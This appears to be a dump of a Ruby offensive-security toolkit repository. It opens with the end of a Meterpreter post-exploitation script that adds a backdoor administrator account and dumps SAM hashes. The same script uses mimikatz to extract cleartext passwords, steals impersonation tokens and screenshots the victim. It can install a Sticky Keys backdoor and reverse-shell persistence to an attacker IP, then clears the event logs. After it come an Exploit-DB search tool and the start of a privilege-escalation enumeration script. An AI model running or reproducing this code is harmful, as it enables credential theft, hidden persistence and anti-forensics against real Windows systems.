= 1 #0 => Disabled, 1 => Enabled 233 | when "-i" 234 | master_ip = val 235 | when "-p" 236 | master_port = val.to_i 237 | when "-n" 238 | pid_name = val 239 | end 240 | end 241 | 242 | #Make sure we were passed proper arguments to run 243 | if helpcall == 1 244 | usage 245 | end 246 | 247 | #we only can do this on windows :p 248 | unsupported if not session.platform =~ /win/i 249 | 250 | # Need DB Access to store loot findings! 251 | if session.framework.db.active 252 | zdb = true 253 | else 254 | print_error("MSF Database NOT Connected - Can't store the loot!") 255 | zdb = false 256 | end 257 | 258 | #Check if UAC is enabled and potentially going to cause us problems on newer systems 259 | if uac_enabled 260 | print_error("Can't run this on target system without bypassing UAC first!") 261 | print_status("Please make sure you have already done this or script will not work......") 262 | print_status("") 263 | else 264 | print_good("Confirmed, UAC is not an issue!") 265 | end 266 | 267 | #Make sure we are admin 268 | if session.railgun.shell32.IsUserAnAdmin()['return'] 269 | print_good("Confirmed, currently running as admin.....") 270 | else 271 | notadmin 272 | end 273 | 274 | #migrate over to a safe process... 275 | auto_migrate(pid_name) 276 | 277 | #Get some bsaic info 278 | getinfo 279 | 280 | #add a new account to the local box 281 | newaccount=[] 282 | newaccount << "net user #{new_user} #{new_pass} /add" 283 | newaccount << "net localgroup administrators /add #{new_user}" 284 | print_status("Adding New Account #{new_user}:#{new_pass} to machine......") 285 | list_exec(session, newaccount) 286 | print_line("") 287 | 288 | #Dump Passwords from SAM File 289 | # I can't find documentation on storing loot from scripts and results havent been good 290 | # SO we write the results to file then add file as loot instead, idk... 291 | #hash_file = "#{ENV['PWD']}/#{session.sock.peerhost}_hashes.txt" 292 | hash_file = ::File.join(Msf::Config.log_directory,"scripts", "#{session.sock.peerhost}_hashes.txt") 293 | print_status("Hashes will be saved in JtR format to:") 294 | print_status(hash_file) 295 | if File.exists?(hash_file) 296 | known_hashes = File.open(hash_file).readlines 297 | else 298 | known_hashes = [] 299 | end 300 | f = File.open(hash_file, 'a+') 301 | session.priv.sam_hashes.each do |user| 302 | print_good("#{user}") 303 | # Write the credentials to file 304 | # Only save new ones not in file to reduce duplicates 305 | if not known_hashes.include?("#{user}\n") #have to account for new line when comparing 306 | f.puts user 307 | end 308 | end 309 | f.close 310 | print_line("") 311 | 312 | #load & run mimikatz to try and dump passwords 313 | print_status("Loading & Running Mimikatz for Clear-Text Password Dumping......") 314 | #mimikatz_file = "#{ENV['PWD']}/#{session.sock.peerhost}_mimikatz.txt" 315 | mimikatz_file = ::File.join(Msf::Config.log_directory,"scripts", "#{session.sock.peerhost}_mimikatz.txt") 316 | print_status("Dumping results to: #{mimikatz_file}") 317 | f = File.open(mimikatz_file, 'a+') 318 | session.console.run_single("load mimikatz") 319 | tbl = Rex::Ui::Text::Table.new( 320 | 'Header' => "WDIGEST DUMP", 321 | 'Indent' => 1, 322 | 'Columns' => [ 323 | "AuthID", 324 | "Domain", 325 | "User", 326 | "Pass", 327 | "Type" 328 | ]) 329 | 330 | wd = session.mimikatz.wdigest 331 | wd.each do |entry| 332 | tbl << [ entry[:authid], entry[:domain], entry[:user], entry[:password], entry[:package] ] 333 | end 334 | print_line("\n" + tbl.to_s) 335 | # Write the credentials to file 336 | f.puts(tbl.to_s) 337 | f.puts "" 338 | 339 | tbl = Rex::Ui::Text::Table.new( 340 | 'Header' => "KERBEROS DUMP", 341 | 'Indent' => 1, 342 | 'Columns' => [ 343 | "AuthID", 344 | "Domain", 345 | "User", 346 | "Pass", 347 | "Type" 348 | ]) 349 | 350 | kerb = session.mimikatz.kerberos 351 | kerb.each do |entry| 352 | tbl << [ entry[:authid], entry[:domain], entry[:user], entry[:password], entry[:package] ] 353 | end 354 | print_line(tbl.to_s) 355 | f.puts(tbl.to_s) 356 | f.puts "" 357 | f.close 358 | if zdb 359 | #Register our hash file & mimikatz cleartext dump as loot in the database 360 | data = File.open(hash_file).read 361 | framework.db.find_or_create_loot( :host => session.sock.peerhost, :service => "smb", :type => "smb_hash", :info => "Windows Hashes", :data => data, :path => hash_file, :name => "windows.hashes" ) 362 | data = File.open(mimikatz_file).read 363 | framework.db.find_or_create_loot( :host => session.sock.peerhost, :service => "logon", :type => "password", :info => "Mimikatz Dump", :data => data, :path => mimikatz_file, :name => "windows.cleartext" ) 364 | end 365 | 366 | 367 | # Enumerate Domains and any Domain Controllers the Victim may know about (we use Mubix script cause no need to re-write :)) 368 | print_status("Enumerating Domains......") 369 | session.console.run_single("run post/windows/gather/enum_domains") 370 | if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3 371 | print_error("System is not actually joined to domain, skipping cachedump attempts....") 372 | else 373 | session.console.run_single("run post/windows/gather/cachedump") 374 | end 375 | 376 | #load & run incognito to see if any non-standard local account tokens available or Domain accounts :) 377 | print_status("Loading Incognito & Listing Impersonation Tokens......") 378 | #incognito_file = "#{ENV['PWD']}/#{session.sock.peerhost}_incognito-tokens.txt" 379 | incognito_file = ::File.join(Msf::Config.log_directory,"scripts", "#{session.sock.peerhost}_incognito-tokens.txt") 380 | print_status("Saving any tokens we find to: #{incognito_file}") 381 | session.console.run_single("load incognito") 382 | loot=0 383 | #0=> List User Tokens, 1=> List Group Tokens 384 | print_status("Checking User Tokens......") 385 | session.incognito.incognito_list_tokens(0)['impersonation'].split("\n").each do |stealme| 386 | if stealme =~ /No tokens available/ 387 | print_error("#{stealme}") 388 | else 389 | print_good("#{stealme}") 390 | f = File.open(incognito_file, 'a+') 391 | f.puts stealme 392 | f.close 393 | loot=1 394 | end 395 | end 396 | print_status("Checking Group Tokens......") 397 | session.incognito.incognito_list_tokens(1)['impersonation'].split("\n").each do |stealme| 398 | if stealme =~ /No tokens available/ 399 | print_error("#{stealme}") 400 | else 401 | print_good("#{stealme}") 402 | f = File.open(incognito_file, 'a+') 403 | f.puts stealme 404 | f.close 405 | loot=1 406 | end 407 | end 408 | print_line("") 409 | if loot == 1 410 | if zdb 411 | #Register our Toekns file as loot in the database 412 | data = File.open(incognito_file).read 413 | framework.db.find_or_create_loot( :host => session.sock.peerhost, :service => "login", :type => "token", :info => "Incognito Token Dump", :data => data, :path => incognito_file, :name => "incognito.tokens" ) 414 | end 415 | end 416 | 417 | # Take a quick screenshot of the victim for proof of life talks 418 | print_status("Taking snapshot for proof of life......") 419 | session.console.run_single("screenshot") 420 | 421 | # Enumerate any Database details we can, usually packed full of good creds and other interesting data :) 422 | print_status("Checking for any Database instances......") 423 | session.console.run_single("run post/windows/gather/enum_db") 424 | 425 | #Run Sethc.exe Sticky Keys Backddor? 426 | if sethc.to_i == 1 427 | sethc_login_backdoor(session) 428 | else 429 | print_status("Swaparoo option disabled....") 430 | print_status("Skipping Swaparoo Backdoor Installer....") 431 | end 432 | 433 | #Run Persistence Install? 434 | if syspersist.to_i == 1 #0 => Disabled, 1 => Enabled 435 | #Persistence via Service install & send shells to our user provided target C&C..... 436 | print_status("Running Meterpreter Persistence Service Installer....") 437 | print_status("Make sure you have listener setup on #{master_port} on port #{master_ip}....") 438 | select(nil, nil, nil, 4) #Dramatic pause.... 439 | session.console.run_single("run persistence -S -i 30 -p #{master_port} -r #{master_ip}") 440 | else 441 | print_status("Persistence option disabled....") 442 | print_status("Skipping Meterpreter Service Installer....") 443 | end 444 | 445 | #cleanup before exiting 446 | clear_event_logs 447 | 448 | #All done now :) 449 | print_good("WinRape Complete!") 450 | print_good("") 451 | #EOF 452 | -------------------------------------------------------------------------------- /extras/fun/xdb.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # xdb.rb 4 | # Search Tool for the Exploit-DB Archive 5 | # By: Hood3dRob1n 6 | # 7 | # I was unable to cleanly parse the CSV file myself 8 | # so instead I did my best to correct and put in arrays 9 | # then loop through with a weighted search. Essentially we 10 | # just narrow things down based on logical search order. 11 | # Search Order: platform=>type=>author=>port=>searchterm 12 | # It works well for me, and I added options to help keep updated 13 | # or set you up if you dont have the archives (4 non-kali users) 14 | # 15 | # Link for Manual Archive Setup: http://www.exploit-db.com/archive.tar.bz2 16 | # Just untar it and edit the CSV variable below to point at the files.csv 17 | # 18 | # Feedback, questions or suggestions: hood3drob1n@gmail.com 19 | # 20 | 21 | ######## Exploit-DB Path ############# 22 | CSV='/usr/share/exploitdb/files.csv' # 23 | ###################################### 24 | 25 | ###### STD GEMS ###### 26 | require 'optparse' # 27 | require 'net/http' # 28 | require 'fileutils' # 29 | #### NON-STD GEMS #### 30 | require 'rubygems' # 31 | require 'colorize' # 32 | ###################### 33 | 34 | #Catch System Interupts 35 | trap("SIGINT") {puts "\n\nWARNING! CTRL+C Detected, Disconnecting from DB and exiting program....".red; exit 666;} 36 | 37 | #Clear Terminal 38 | def cls 39 | system('clear') 40 | end 41 | 42 | def db_exists 43 | if (File.directory?('platforms') and File.exists?('files.csv')) or (File.directory?("#{CSV.split("/")[0..-2].join("/")}/platforms") and File.exists?(CSV)) 44 | if File.exists?(CSV) 45 | $csv=CSV 46 | else 47 | $csv="#{Dir.pwd}/files.csv" 48 | end 49 | $csvdir="#{$csv.split("/")[0..-2].join("/")}/platforms" 50 | puts "[*] ".light_green + "Found archive files: #{$csvdir.split("/")[0..-2].join("/")} ".white 51 | else 52 | puts "[*] ".light_red + "Can't Find archive files!".white 53 | puts "[*] ".light_red + "We can't run a search without the archive files....".white 54 | puts "[*] ".light_yellow + "Do you want to try to download the archive files (Y/N)?".white 55 | answer=gets.chomp 56 | if answer.upcase='Y' or answer.upcase='YES' 57 | fetch_db 58 | if (File.directory?('platforms') and File.exists?('files.csv')) 59 | $csv="#{Dir.pwd}/files.csv" 60 | $csvdir="#{$csv.split("/")[0..-2].join("/")}/platforms" 61 | puts "[*] ".light_green + "Found new archive files: #{$csvdir.split("/")[0..-2].join("/")} ".white 62 | else 63 | puts "[*] ".light_red 64 | puts "[*] ".light_red + "Sorry still not finding shit, try again or setup manually.....".white 65 | puts "[*] ".light_red 66 | puts 67 | exit 666; 68 | end 69 | else 70 | puts "[*] ".light_red 71 | puts "[*] ".light_red + "OK, have a good one.....".white 72 | puts "[*] ".light_red 73 | puts 74 | exit 666; 75 | end 76 | end 77 | end 78 | 79 | # Fetch latest copy of the exploit-db archive 80 | def fetch_db 81 | puts "[*] ".light_green + "Fetching the latest exploit-db archive file.....".white 82 | ############### DOWNLOAD ############### 83 | Net::HTTP.start("www.exploit-db.com") do |http| 84 | begin 85 | file = open("archive.tar.bz2", 'wb') 86 | http.request_get('/' + URI.encode("archive.tar.bz2"), { 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0' } ) do |response| 87 | response.read_body do |segment| 88 | file.write(segment) 89 | end 90 | end 91 | rescue Timeout::Error => e 92 | puts "[*] ".light_red + "Connection Timeout Error during archive download!".white 93 | puts "[*] ".light_red + "Not horribly uncommon - Try again or set things up manually, sorry.....".white 94 | return false 95 | ensure 96 | file.close 97 | end 98 | end 99 | puts "[*] ".light_green + "Archive Download Complete!".white 100 | puts "[*] ".light_blue + "Extracting archive files, just another minute...".white 101 | system("tar xvf archive.tar.bz2") 102 | begin 103 | FileUtils.chmod(0755, 'files.csv') #override these files... 104 | rescue Errno::ENOENT 105 | puts "[*] ".light_red + "Extract failed, unable to extract full archive!".white 106 | puts "[*] ".light_red + "You will need to try again later as can happen regularly enough.....".white 107 | puts "[*] ".light_red + "If you can get and create things manually you can re-run script fine!".white 108 | puts "[*] ".light_red + "Sorry.................>\n\n".white 109 | exit 666; 110 | end 111 | # chmod files as needed.... 112 | # chmod +x yourself when you actualy need to run them :p 113 | # search recursively from current dir and chmod as needed 114 | system("find #{Dir.pwd} -type d -print0 | xargs -0 chmod 755") 115 | # use xargs instead of exec option to avoid spawning more subprocesses 116 | system("find #{Dir.pwd} -type f -print0 | xargs -0 chmod 666") 117 | puts "[*] ".light_green + "Archive is now ready!".white 118 | end 119 | 120 | # Search based on initial full CSV results set against platform 121 | # This initializes our array to perform further searchs 122 | # We wind down narrowing results as we go 123 | # Due to poor CSV consistency this is the best I could come up with 124 | def search_platform(searchterm) 125 | platform_results=[] 126 | IO.foreach("#{$csvdir.split("/")[0..-2].join("/")}/files.csv") do |line| 127 | line = line.unpack('C*').pack('U*') if !line.valid_encoding? #Thanks Stackoverflow :) 128 | if line =~ /(\".+,.+\")/ #Deal with annoying commans within quotes as they shouldn't be used to split on (ahrg) 129 | crappy_csv_line = $1 130 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "") 131 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",") 132 | else 133 | workable_csv_line = line.split(",") 134 | end 135 | foo = workable_csv_line - workable_csv_line.slice(0,5) 136 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1) 137 | if searchterm == 'nil' 138 | platform_results << line 139 | else 140 | if "#{foobar.join(",")}" =~ /#{searchterm}/i 141 | platform_results << line 142 | end 143 | end 144 | end 145 | return platform_results 146 | end 147 | 148 | # Search based on TYPE 149 | # Returns an array with the results 150 | def search_type(exploits_array, searchterm) 151 | search_results=[] 152 | exploits_array.each do |line| 153 | line = line.unpack('C*').pack('U*') if !line.valid_encoding? 154 | if line =~ /(\".+,.+\")/ 155 | crappy_csv_line = $1 156 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "") 157 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",") 158 | else 159 | workable_csv_line = line.split(",") 160 | end 161 | foo = workable_csv_line - workable_csv_line.slice(0,5) 162 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1) 163 | if searchterm == 'nil' 164 | search_results << line 165 | else 166 | if not workable_csv_line[-2].nil? 167 | if "#{workable_csv_line[-2].downcase}" =~ /#{searchterm}/i 168 | search_results << line 169 | end 170 | end 171 | end 172 | end 173 | return search_results 174 | end 175 | 176 | # Search based on Author 177 | # Returns an array with the results 178 | def search_author(exploits_array, searchterm) 179 | search_results=[] 180 | exploits_array.each do |line| 181 | line = line.unpack('C*').pack('U*') if !line.valid_encoding? 182 | if line =~ /(\".+,.+\")/ 183 | crappy_csv_line = $1 184 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "") 185 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",") 186 | else 187 | workable_csv_line = line.split(",") 188 | end 189 | foo = workable_csv_line - workable_csv_line.slice(0,5) 190 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1) 191 | if searchterm == 'nil' 192 | search_results << line 193 | else 194 | if not workable_csv_line[4].nil? 195 | if "#{workable_csv_line[4].downcase}" =~ /#{searchterm}/i 196 | search_results << line 197 | end 198 | end 199 | end 200 | end 201 | return search_results 202 | end 203 | 204 | # Search based on PORT 205 | # Returns an array with the results 206 | def search_port(exploits_array, searchterm) 207 | search_results=[] 208 | exploits_array.each do |line| 209 | line = line.unpack('C*').pack('U*') if !line.valid_encoding? 210 | if line =~ /(\".+,.+\")/ 211 | crappy_csv_line = $1 212 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "") 213 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",") 214 | else 215 | workable_csv_line = line.split(",") 216 | end 217 | foo = workable_csv_line - workable_csv_line.slice(0,5) 218 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1) 219 | if searchterm == 'nil' 220 | search_results << line 221 | else 222 | if not workable_csv_line[-1].nil? 223 | if "#{workable_csv_line[-1].downcase}" =~ /#{searchterm}/i 224 | search_results << line 225 | end 226 | end 227 | end 228 | end 229 | return search_results 230 | end 231 | 232 | # Search based on SEARCH Term 233 | # Returns an array with the results 234 | def search_search(exploits_array, searchterm) 235 | search_results=[] 236 | exploits_array.each do |line| 237 | line = line.unpack('C*').pack('U*') if !line.valid_encoding? 238 | if searchterm == 'nil' 239 | search_results << line 240 | else 241 | if line =~ /#{searchterm}/i 242 | search_results << line 243 | end 244 | end 245 | end 246 | return search_results 247 | end 248 | 249 | # Parse remaining exploits in array 250 | # Print out the search results for user 251 | def print_results(remaining_exploits, log=false, q=false) 252 | rezsize = remaining_exploits.length 253 | if q == true 254 | puts "[*] ".light_green + "Saved #{rezsize} Result(s) to: #{@out}".white 255 | else 256 | if log 257 | puts "[*] ".light_green + "Saved #{rezsize} Result(s) to: #{@out}".white 258 | puts "[*] ".light_green + "Displaying Result(s):".white 259 | else 260 | puts "[*] ".light_green + "Found #{rezsize} Result(s):".white 261 | end 262 | end 263 | sleep(2) 264 | remaining_exploits.each do |line| 265 | if line =~ /(\".+,.+\")/ #Deal with annoying commans within quotes as they shouldn't be used to split on (ahrg) 266 | crappy_csv_line = $1 267 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "") 268 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",") 269 | else 270 | workable_csv_line = line.split(",") 271 | end 272 | foo = workable_csv_line - workable_csv_line.slice(0,5) 273 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1) 274 | if log == true 275 | outputz = File.open("#{@out}", 'a+') 276 | outputz.puts "Description: #{workable_csv_line[2]}" 277 | outputz.puts "Location: #{$csvdir}/#{workable_csv_line[1].sub('/platforms', '')}" 278 | outputz.puts "Exploit ID: #{workable_csv_line[0]}" 279 | outputz.puts "Platform: #{foobar.join(",")}" 280 | outputz.puts "Type: #{workable_csv_line[-2]}" 281 | if not "#{workable_csv_line[-1].chomp}".to_i == 0 282 | outputz.puts "Port: #{workable_csv_line[-1].chomp}" 283 | end 284 | outputz.puts "Author: #{workable_csv_line[4]}" 285 | outputz.puts "Submit: #{workable_csv_line[3]}" 286 | outputz.puts 287 | outputz.close 288 | end 289 | if q != true 290 | puts "[*] ".light_green + "Description: ".light_red + "#{workable_csv_line[2]}".white 291 | puts "[*] ".light_green + "Location: ".light_red + "#{$csvdir}/#{workable_csv_line[1].sub('/platforms', '')}".white 292 | puts "[*] ".light_green + "Exploit ID: ".light_red + "#{workable_csv_line [0]}".white 293 | puts "[*] ".light_green + "Platform: ".light_red + "#{foobar.join(",")}".white 294 | puts "[*] ".light_green + "Type: ".light_red + "#{workable_csv_line[-2]}".white 295 | if not "#{workable_csv_line[-1].chomp}".to_i == 0 296 | puts "[*] ".light_green + "Port: ".light_red + "#{workable_csv_line[-1].chomp}".white 297 | end 298 | puts "[*] ".light_green + "Author: ".light_red + "#{workable_csv_line[4]}".white 299 | puts "[*] ".light_green + "Submit: ".light_red + "#{workable_csv_line[3]}".white 300 | puts "[*] ".light_blue 301 | end 302 | end 303 | puts "[*] ".light_blue + "Search Complete!".white 304 | puts "[*] ".light_blue + "Hope you found what you needed....".white 305 | puts "[*] ".light_blue + "Good Bye!".white 306 | puts "[*] ".light_blue 307 | end 308 | 309 | # Update the exploit-db to latest archive 310 | def update_db 311 | if (File.directory?('platforms') and File.exists?('files.csv')) or (File.directory?("#{CSV.split("/")[0..-2].join("/")}/platforms") and File.exists?(CSV)) 312 | if File.exists?(CSV) 313 | $csv=CSV 314 | else 315 | $csv="#{Dir.pwd}/files.csv" 316 | end 317 | $csvdir="#{$csv.split("/")[0..-2].join("/")}/platforms" 318 | puts "[*] ".light_blue + "Updating Database.....".white 319 | FileUtils.mv($csv, "#{$csv}.bk") if File.exists?($csv) 320 | FileUtils.mv($csvdir, "#{$csvdir}_BK") if File.directory?($csvdir) 321 | db_exists 322 | if (File.directory?($csvdir) and File.exists?($csv)) 323 | puts "[*] ".light_good + "Archive has been updated!".white 324 | puts "[*] ".light_blue + "Removing old backups....".white 325 | FileUtils.rm_rf("#{$csvdir}_BK") 326 | FileUtils.rm_f("#{$csv}.bk") 327 | puts "[*] ".light_good 328 | puts "[*] ".light_good + "Update Complete!".white 329 | puts "[*] ".light_good 330 | exit 69; 331 | else 332 | puts "[*] ".light_red 333 | puts "[*] ".light_red + "Problem with update!".white 334 | puts "[*] ".light_red + "Backups were made but need to be re-named again....".white 335 | puts "[*] ".light_red + "Try again or update manually....".white 336 | puts "[*] ".light_red 337 | exit 666; 338 | end 339 | else 340 | puts "[*] ".light_red 341 | puts "[*] ".light_red + "Archive files NOT found!".white 342 | puts "[*] ".light_red + "You can't run an update without archive files....".white 343 | puts "[*] \n\n".light_red 344 | exit 666; 345 | end 346 | end 347 | 348 | ########### MAIN ########### 349 | options = {} 350 | optparse = OptionParser.new do |opts| 351 | opts.banner = "Usage:".light_green + "#{$0} ".white + "[".light_green + "OPTIONS".white + "]".light_green 352 | opts.separator "" 353 | opts.separator "EX:".light_green + " #{$0} --update".white 354 | opts.separator "EX:".light_green + " #{$0} -T webapps -S vBulletin".white 355 | opts.separator "EX:".light_green + " #{$0} --search=\"Linux Kernel 2.6\"".white 356 | opts.separator "EX:".light_green + " #{$0} -A \"JoinSe7en\" -S \"MyBB\"".white 357 | opts.separator "EX:".light_green + " #{$0} -T remote -S \"SQL Injection\"".white 358 | opts.separator "EX:".light_green + " #{$0} -P linux -T local -S UDEV -O search_results.txt".white 359 | opts.separator "" 360 | opts.separator "Options: ".light_green 361 | #setup argument options.... 362 | opts.on('-U', '--update', "\n\tUpdate Exploit-DB Working Archive to Latest & Greatest".white) do |host| 363 | options[:method] = 0 364 | end 365 | opts.on('-P', '--platform ', "\n\tSystem Platform Type, options include: 366 | sco, bsdi/x86, openbsd, lin/amd64, plan9, bsd/x86, openbsd/x86, hardware, bsd, unix, lin/x86-64, netbsd/x86, linux, solaris, ultrix, arm, php, solaris/sparc, osX, os-x/ppc, cfm, generator, freebsd/x86, bsd/ppc, minix, unixware, freebsd/x86-64, cgi, hp-ux, multiple, win64, tru64, jsp, novell, linux/mips, solaris/x86, aix, windows, linux/ppc, irix, QNX, lin/x86, win32, linux/sparc, freebsd, asp, sco/x86".white) do |platform| 367 | options[:platform] = platform.downcase.chomp 368 | options[:method] = 1 369 | end 370 | opts.on('-T', '--type ', "\n\tType of Exploit, options include:\n\tDoS, Remote, Local, WebApps, Papers or Shellcode".white) do |type| 371 | options[:type] = type.downcase.chomp 372 | options[:method] = 1 373 | end 374 | opts.on('-A', '--author ', "\n\tRun Lookup based on Author Username".white) do |author| 375 | options[:author] = author.downcase.chomp 376 | options[:method] = 1 377 | end 378 | opts.on('-S', '--search ', "\n\tSearch Term to look for in Exploit-DB Working Archive".white) do |search| 379 | options[:search] = search.downcase.chomp 380 | options[:method] = 1 381 | end 382 | opts.on('-O', '--output ', "\n\tOutput File to Write Search Results to".white) do |output| 383 | @out = output.chomp 384 | options[:log] = true 385 | end 386 | opts.on('-q', '--quiet', "\n\tSilence Output to Terminal for Search Results (when logging output)".white) do |output| 387 | options[:q] = true 388 | end 389 | opts.on('-h', '--help', "\n\tHelp Menu".white) do 390 | cls 391 | puts 392 | puts "Exploit-DB Archive Search Tool".white 393 | puts "By: ".white + "Hood3dRob1n".light_green 394 | puts 395 | puts opts 396 | puts 397 | exit 69 398 | end 399 | end 400 | begin 401 | foo = ARGV[0] || ARGV[0] = "-h" 402 | optparse.parse! 403 | mandatory = [:method] 404 | missing = mandatory.select{ |param| options[param].nil? } 405 | if not missing.empty? 406 | puts "Missing or Unknown Options: ".red 407 | puts optparse 408 | exit 409 | end 410 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument 411 | cls 412 | puts $!.to_s.red 413 | puts 414 | puts optparse 415 | puts 416 | exit 666; 417 | end 418 | puts 419 | puts "Exploit-DB Archive Search Tool".white 420 | puts "By: ".white + "Hood3dRob1n".light_green 421 | puts 422 | # Update or Check|Build Archive 423 | if options[:method] == 0 424 | update_db 425 | else 426 | db_exists 427 | end 428 | 429 | # Set Cookie Crumb in Results File to duplicate 430 | if options[:log] 431 | outputz = File.open("#{@out}", 'w+') 432 | cmd="#{$0} " 433 | if options[:platform] 434 | cmd += "-P #{options[:platform]} " 435 | end 436 | if options[:type] 437 | cmd += "-T #{options[:type]} " 438 | end 439 | if options[:author] 440 | cmd += "-A #{options[:author]} " 441 | end 442 | if options[:port] 443 | cmd += "--port #{options[:port]} " 444 | end 445 | if options[:search] 446 | cmd += "-S #{options[:search]} " 447 | end 448 | outputz.puts 449 | outputz.puts cmd 450 | outputz.puts 451 | outputz.close 452 | end 453 | 454 | #Make we have search values or set wildcards 455 | if not options[:platform] 456 | options[:platform] = '' 457 | end 458 | if not options[:type] 459 | options[:type] = '' 460 | end 461 | if not options[:author] 462 | options[:author] = '' 463 | end 464 | if not options[:port] 465 | options[:port] = '' 466 | end 467 | if not options[:search] 468 | options[:search] = '' 469 | end 470 | 471 | # Run the search based on what was passed from user 472 | platform_results = search_platform(options[:platform]) 473 | type_results = search_type(platform_results, options[:type]) 474 | author_results = search_author(type_results, options[:author]) 475 | port_results = search_port(author_results, options[:port]) 476 | results = search_search(port_results, options[:search]) 477 | if options[:log] 478 | if options[:q] 479 | print_results(results, log=true, q=true) 480 | else 481 | print_results(results, log=true, q=false) 482 | end 483 | else 484 | print_results(results, log=false, q=false) 485 | end 486 | #EOF 487 | -------------------------------------------------------------------------------- /extras/fun/unix_enum.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # Unix System Enumeration Ruby Script 4 | # By: MrGreen & Hood3dRob1n 5 | # 6 | 7 | #Add some color without colorize gem since we sticking to std libs for this one :) 8 | RS="\033[0m" # reset 9 | HC="\033[1m" # hicolor 10 | FRED="\033[31m" # foreground red 11 | FGRN="\033[32m" # foreground green 12 | FWHT="\033[37m" # foreground white 13 | 14 | #Trap System interupts so we can exit clean.... 15 | trap("SIGINT") { puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected, Shutting things down and exiting program#{FWHT}....#{RS}"; exit 666; } 16 | 17 | #Define all the magic functions needed to make it all happen...... 18 | def all_sys_enum 19 | cls 20 | print "#{HC}#{FWHT}" 21 | puts ' 22 | |<><><><><><><><><><><><><><><><><><><><><><><>| 23 | | can * y0u | 24 | | /\~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~/\ | 25 | | (o ) . ( o) | 26 | | \/ .` `. \/ | 27 | | /\ .` `. /\ | 28 | | ( .` `. ) | 29 | | ) .` N `. ( | 30 | | ( .` A | `. ) | 31 | | ) .` <\> )|( `. ( | 32 | | ( .` \ | ( `. ) | 33 | | ) .` ) \ | ( `. ( | 34 | | .` ) \| ( `. | 35 | | .` W---)--------O--------(---E `. | 36 | | `. ) |\ ( .` | 37 | | ) `. ) | \ ( .` ( | 38 | | ( `. ) | \ .` ) | 39 | | ) `. )|( <\> .` ( | 40 | | ( `. | .` ) | 41 | | ) `. S .` ( | 42 | | ( `. .` ) | 43 | | \/ `. .` \/ | 44 | | /\ `. .` /\ | 45 | | (o ) `.` ( o) | 46 | | \/~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~\/ | 47 | | find -|- r00t? | 48 | |<><><><><><><><><><><><><><><><><><><><><><><>|' 49 | puts 50 | print "#{RS}" 51 | foo = Time.now 52 | bar=foo.to_s.split(' ') 53 | puts "#{HC}#{FGRN}Unix System Enumerator Script#{RS}" 54 | puts "#{HC}#{FGRN}By#{FWHT}: Hood3dRob1n#{RS}" 55 | puts "#{HC}#{FGRN}Started#{FWHT}: #{bar[0]}#{FGRN}, at #{FWHT}#{bar[1]}#{RS}" 56 | puts 57 | puts "#{HC}#{FGRN}Highlights will be displayed in console#{FWHT}, #{FGRN}check '#{FWHT}inf0rm3d.txt#{FGRN}' file for full system enumeration details#{RS}" 58 | puts 59 | 60 | f = File.new("inf0rm3d.txt", "w+") 61 | f.print '|<><><><><><><><><><><><><><><><><><><><><><><>| 62 | | can * y0u | 63 | | /\~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~/\ | 64 | | (o ) . ( o) | 65 | | \/ .` `. \/ | 66 | | /\ .` `. /\ | 67 | | ( .` `. ) | 68 | | ) .` N `. ( | 69 | | ( .` A | `. ) | 70 | | ) .` <\> )|( `. ( | 71 | | ( .` \ | ( `. ) | 72 | | ) .` ) \ | ( `. ( | 73 | | .` ) \| ( `. | 74 | | .` W---)--------O--------(---E `. | 75 | | `. ) |\ ( .` | 76 | | ) `. ) | \ ( .` ( | 77 | | ( `. ) | \ .` ) | 78 | | ) `. )|( <\> .` ( | 79 | | ( `. | .` ) | 80 | | ) `. S .` ( | 81 | | ( `. .` ) | 82 | | \/ `. .` \/ | 83 | | /\ `. .` /\ | 84 | | (o ) `.` ( o) | 85 | | \/~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~\/ | 86 | | find -|- r00t? | 87 | |<><><><><><><><><><><><><><><><><><><><><><><>|' 88 | f.puts 89 | f.puts 90 | f.puts "Unix System Enumerator Script" 91 | f.puts "By: Hood3dRob1n" 92 | f.puts "Started: #{bar[0]}, at #{bar[1]}" 93 | f.puts 94 | f.close 95 | 96 | basicInfo 97 | sleep 2 98 | getKernelSploits 99 | sleep 2 100 | interestingStuff 101 | sleep 2 102 | toolz 103 | sleep 2 104 | fileInfo 105 | sleep 2 106 | userInfo 107 | sleep 2 108 | networkInfo 109 | miscInfo 110 | 111 | closer 112 | end 113 | 114 | def basicInfo 115 | host = commandz('/bin/hostname 2> /dev/null') 116 | uptime = commandz('/usr/bin/uptime 2> /dev/null') 117 | shell = commandz('echo $SHELL 2> /dev/null') 118 | user = ENV['USER'] 119 | whoami = commandz('whoami') 120 | uid = Process.uid 121 | euid = Process.euid 122 | home = commandz('echo $HOME 2> /dev/null') 123 | pwd = commandz('pwd') 124 | uname = commandz('uname -a') 125 | 126 | puts "#{HC}#{FGRN}Hostname#{FWHT}: #{host[0].strip}#{RS}" 127 | puts "#{HC}#{FGRN}System Uptime#{FWHT}: 